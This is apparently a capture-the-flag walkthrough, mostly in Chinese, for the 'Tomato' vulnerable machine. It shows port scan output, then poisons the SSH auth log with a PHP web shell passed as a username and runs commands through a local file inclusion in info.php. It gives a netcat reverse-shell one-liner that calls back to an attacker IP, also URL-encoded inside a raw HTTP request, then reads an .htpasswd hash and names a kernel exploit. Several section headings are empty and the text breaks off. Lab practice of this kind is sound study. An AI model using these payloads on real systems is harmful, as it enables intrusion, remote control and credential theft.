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------------------------------------------------------------
        Threader 3000 - Multi-threaded Port Scanner          
                       Version 1.0.7                    
                   A project by The Mayor               
------------------------------------------------------------
Enter your target IP address or URL here: 192.168.154.135
------------------------------------------------------------
Scanning target 192.168.154.135
Time started: 2021-05-24 22:40:01.592874
------------------------------------------------------------
Port 21 is open
Port 80 is open
Port 2211 is open
Port 8888 is open
Port scan completed in 0:00:20.813940
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p21,80,2211,8888 -sV -sC -T4 -Pn -oA 192.168.154.135 192.168.154.135
************************************************************
Would you like to run Nmap or quit to terminal?
------------------------------------------------------------
1 = Run suggested Nmap scan
2 = Run another Threader3000 scan
3 = Exit to terminal
------------------------------------------------------------
Option Selection: 1
nmap -p21,80,2211,8888 -sV -sC -T4 -Pn -oA 192.168.154.135 192.168.154.135
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 22:40 EDT
Nmap scan report for 192.168.154.135
Host is up (0.00052s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tomato
2211/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:53:0a:91:8c:f1:a6:10:11:0d:9e:0f:22:f8:49:8e (RSA)
|   256 b3:12:60:32:48:28:eb:ac:80:de:17:d7:96:77:6e:2f (ECDSA)
|_  256 36:6f:52:ad:fe:f7:92:3e:a2:51:0f:73:06:8d:80:13 (ED25519)
8888/tcp open  http    nginx 1.10.3 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Private Property
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: 401 Authorization Required
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.79 seconds
------------------------------------------------------------
Combined scan completed in 0:00:36.833158
Press enter to quit...



目录扫描

漏洞探测

本地文件包含



Getshell
ssh log + LFI

└─$ ssh '<?php system($_GET['cmd']);?>'@192.168.154.135 -p 2211                                               255 �
<?php system($_GET[cmd]);?>@192.168.154.135's password: 
Permission denied, please try again.
<?php system($_GET[cmd]);?>@192.168.154.135's password: 
Permission denied, please try again.
<?php system($_GET[cmd]);?>@192.168.154.135's password: 
<?php system($_GET[cmd]);?>@192.168.154.135: Permission denied (publickey,password).

然后访问 

view-source:http://192.168.154.135/antibot_image/antibots/info.php?image=/../../../../../../../var/log/auth.log&cmd=whoami

反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.154.129  443 >/tmp/f

给他url encode所有字符串 



GET /antibot_image/antibots/info.php?image=/../../../../../../../var/log/auth.log&cmd=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%39%32%2e%31%36%38%2e%31%35%34%2e%31%32%39%20%34%34%33%20%3e%2f%74%6d%70%2f%66 HTTP/1.1
Host: 192.168.154.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

监听，然后发包，拿到shell

提权

去看之前8888端口的密码

www-data@ubuntu:/etc/nginx$ cat .htpasswd
cat .htpasswd
nginx:$apr1$azDw/Iwv$E7rIlqjeiX9Sx9.sMCcAZ0

当然啦，没用上，嘿嘿

平平无奇看内核

看内核提权洞吧

用45010
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